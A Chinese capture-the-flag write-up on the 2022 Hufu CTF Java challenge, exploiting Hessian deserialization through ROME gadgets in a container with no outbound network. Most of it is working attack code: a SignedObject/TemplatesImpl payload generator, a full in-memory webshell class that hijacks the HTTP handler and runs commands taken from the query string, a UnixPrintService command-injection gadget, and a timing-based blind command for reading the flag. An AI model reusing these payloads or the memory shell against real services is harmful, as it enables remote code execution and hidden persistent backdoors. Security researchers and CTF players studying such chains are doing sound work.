2022虎符CTF-Java部分

2022虎符CTF-Java部分

写在前面

​ 非小白文,代码基于marshalsec项目基础上进行修改

正文

​ 本身我是不太懂hessian的反序列化,大概去网上搜了一下配合ROME利用的思路(如果反序列化map对象,在逻辑后面通过put操作,从而触发对key调用hashCode打ROME),这里不清楚可以看看ROME利用链以及hessian反序列化的一些简单东西

​ 首先简单看下docker,可以看到会导致不能出网

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
version: '2.4'
services:
nginx:
image: nginx:1.15
ports:
- "0.0.0.0:8090:80"
restart: always
volumes:
- ./nginx.conf:/etc/nginx/conf.d/default.conf:ro
networks:
- internal_network
- out_network
web:
build: ./
restart: always
volumes:
- ./flag:/flag:ro
networks:
- internal_network
networks:
internal_network:
internal: true
ipam:
driver: default
out_network:
ipam:
driver: default

nginx.conf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
server {
listen 80;
server_name localhost;

location / {
root /usr/share/nginx/html;
index index.html index.htm;
proxy_pass http://web:8090;
}

#error_page 404 /404.html;

# redirect server error pages to the static page /50x.html
#
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root /usr/share/nginx/html;
}
}

利用一:SignedObject实现二次反序列化

既然不出网那就无法配合JNDI去利用了(网上主流的利用),后面尝试了TemplatesImpl,在Hessian的一些限制下(有空自己去看源码),导致被transient修饰的_tfactory对象无法写入造成空指针异常,为什么呢,自己看图可以看到不仅仅是被transient修饰,同时静态变量也不行,这里导致另一个利用链不能打,这里不提

之后解决思路就是找个二次反序列化的点触发原生反序列化即可,最后找到个java.security.SignedObject#SignedObject,里面的getObject可以触发

1
2
3
4
5
6
7
8
9
10
11
public Object getObject()
throws IOException, ClassNotFoundException
{
// creating a stream pipe-line, from b to a
ByteArrayInputStream b = new ByteArrayInputStream(this.content);
ObjectInput a = new ObjectInputStream(b);
Object obj = a.readObject();
b.close();
a.close();
return obj;
}

这时候聪明的你一定想问,为什么原生反序列化就可以恢复这个trasient修饰的变量呢,答案如下com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#readObject,重写了readOBject方法

因此得到下面简单的payload,下面payload有一些地方还可以完善变得更好,但是我懒

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
package marshalsec;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ObjectBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import marshalsec.gadgets.JDKUtil;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;

import static marshalsec.util.Reflections.setFieldValue;

public class Test {
public static void main(String[] args) throws Exception {
byte[] code = ClassPool.getDefault().get("Yyds").toBytecode();

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","abc");
setFieldValue(templates,"_class",null);
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
setFieldValue(templates,"_bytecodes",new byte[][]{code});
ToStringBean bean = new ToStringBean(Templates.class,templates);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);
setFieldValue(badAttributeValueExpException,"val",bean);

KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject so = null;
so = new SignedObject(badAttributeValueExpException, privateKey, signingEngine);


ObjectBean delegate = new ObjectBean(SignedObject.class, so);
ObjectBean root = new ObjectBean(ObjectBean.class, delegate);
HashMap<Object, Object> map = JDKUtil.makeMap(root, root);

ByteArrayOutputStream os = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(os);
output.writeObject(map);
output.getBytesOutputStream().flush();
output.completeMessage();
output.close();
System.out.println(new String(Base64.getEncoder().encode(os.toByteArray())));

}
}

这样就可以实现执行反序列化打TemplatesImpl加载恶意代码了,接下来既然不出网,比较方便的就是去注入内存马

按照经验来讲Web中间件是多线程的应用,一般requst对象都会存储在线程对象中,可以通过Thread.currentThread()Thread.getThreads()获取,按照这个思路写就行了

我是懒狗之间暴力替换handler(继承AbstractTranslet实现HttpHandler),嫌弃麻烦可以自己加路由可以让代码更短,还可以放到静态块防止触发两次,一句话我懒自己改去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
import com.sun.net.httpserver.HttpContext;
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.*;
import java.lang.reflect.Field;

public class Yyds extends AbstractTranslet implements HttpHandler {
public void handle(HttpExchange t) throws IOException {
String response = "Y4tacker's MemoryShell";
String query = t.getRequestURI().getQuery();
String[] var3 = query.split("=");
System.out.println(var3[0]+var3[1]);
ByteArrayOutputStream output = null;
if (var3[0].equals("y4tacker")){
InputStream inputStream = Runtime.getRuntime().exec(var3[1]).getInputStream();
output = new ByteArrayOutputStream();
byte[] buffer = new byte[4096];
int n = 0;
while (-1 != (n = inputStream.read(buffer))) {
output.write(buffer, 0, n);
}
}
response+=("\n"+new String(output.toByteArray()));
t.sendResponseHeaders(200, (long)response.length());
OutputStream os = t.getResponseBody();
os.write(response.getBytes());
os.close();
}

public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}

public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}

public Yyds() throws Exception {
super();
try{

Object obj = Thread.currentThread();
Field field = obj.getClass().getDeclaredField("group");
field.setAccessible(true);
obj = field.get(obj);

field = obj.getClass().getDeclaredField("threads");
field.setAccessible(true);
obj = field.get(obj);
Thread[] threads = (Thread[]) obj;
for (Thread thread : threads) {
if (thread.getName().contains("Thread-2")) {
try {
field = thread.getClass().getDeclaredField("target");
field.setAccessible(true);
obj = field.get(thread);
System.out.println(obj);

field = obj.getClass().getDeclaredField("this$0");
field.setAccessible(true);
obj = field.get(obj);


field = obj.getClass().getDeclaredField("contexts");
field.setAccessible(true);
obj = field.get(obj);

field = obj.getClass().getDeclaredField("list");
field.setAccessible(true);
obj = field.get(obj);
java.util.LinkedList lt = (java.util.LinkedList)obj;
Object o = lt.get(0);
field = o.getClass().getDeclaredField("handler");

field.setAccessible(true);
field.set(o,this);
}catch (Exception e){
e.printStackTrace();
}
}

}
}catch (Exception e){
}
}

}

其实可以去静态块改一下,不然执行两次多多少少有点烦,就这样了so easy

当然太暴力了也不好哈哈哈,还可以在上面的sun.net.httpserver.ServerImpl$Dispatcher直接执行sun.net.httpserver.ServerImpl#createContext(java.lang.String, com.sun.net.httpserver.HttpHandler)创建新的路由即可

这里就不写了,一个字懒,反正也不难

实现效果

利用二:UnixPrintService直接执行命令

之前不清楚,后面@wuyx师傅提醒我才发现可以不用实现序列化接口,具体可以参考marshalsec的实现

1
2
3
HessianBase.NoWriteReplaceSerializerFactory sf = new HessianBase.NoWriteReplaceSerializerFactory();
sf.setAllowNonSerializable(true);
output.setSerializerFactory(sf);

sun.print.UnixPrintService的所有get方法都能触发,别看这个是Unix其实linux也有,在高版本被移除(有兴趣自己考古),利用方式就是简单命令拼接执行(缺点就是太能弹了,基本上每个get方法都能弹)

它会去找public修饰的getter方法,而为什么会调用哪个私有方法其实也很简单比如说getAttributes里面就调用了这些触发命令执行的私有方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public PrintServiceAttributeSet getAttributes() {
HashPrintServiceAttributeSet var1 = new HashPrintServiceAttributeSet();
var1.add(this.getPrinterName());
var1.add(this.getPrinterIsAcceptingJobs());
PrinterState var2 = this.getPrinterState();
if (var2 != null) {
var1.add(var2);
}

PrinterStateReasons var3 = this.getPrinterStateReasons();
if (var3 != null) {
var1.add(var3);
}

var1.add(this.getQueuedJobCount());
return AttributeSetUtilities.unmodifiableView(var1);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Constructor<UnixPrintService> declaredConstructor = UnixPrintService.class.getDeclaredConstructor(String.class);
declaredConstructor.setAccessible(true);
ObjectBean delegate = new ObjectBean(sun.print.UnixPrintService.class,

declaredConstructor.newInstance(";open -na Calculator"));

ObjectBean root = new ObjectBean(ObjectBean.class, delegate);
HashMap<Object, Object> map = JDKUtil.makeMap(root, root);
//
ByteArrayOutputStream os = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(os);
HessianBase.NoWriteReplaceSerializerFactory sf = new HessianBase.NoWriteReplaceSerializerFactory();
sf.setAllowNonSerializable(true);
output.setSerializerFactory(sf);
output.writeObject(map);
output.getBytesOutputStream().flush();
output.completeMessage();
output.close();
System.out.println(new String(Base64.getEncoder().encode(os.toByteArray())));

拿flag的话就两种方式JavaAgent注入内存马,或者本来就是ctf

1
if [ `cut -c 1 flag` = "a" ];then sleep 2;fi

如何快速拿利用链

在这次比赛后我简单学习了下用tabby,通过下面的neo4j查询语句,之后人工排查下

1
match path=(m1:Method)-[:CALL*..3]->(m2:Method {}) where m1.NAME =~ "get.*" and m1.PARAMETER_SIZE=0 and (m2.NAME =~ "exec.*" or m2.NAME =~ "readObject") return path

利用一:

利用二:

总的来说还是学的挺多,挺有收获的一个比赛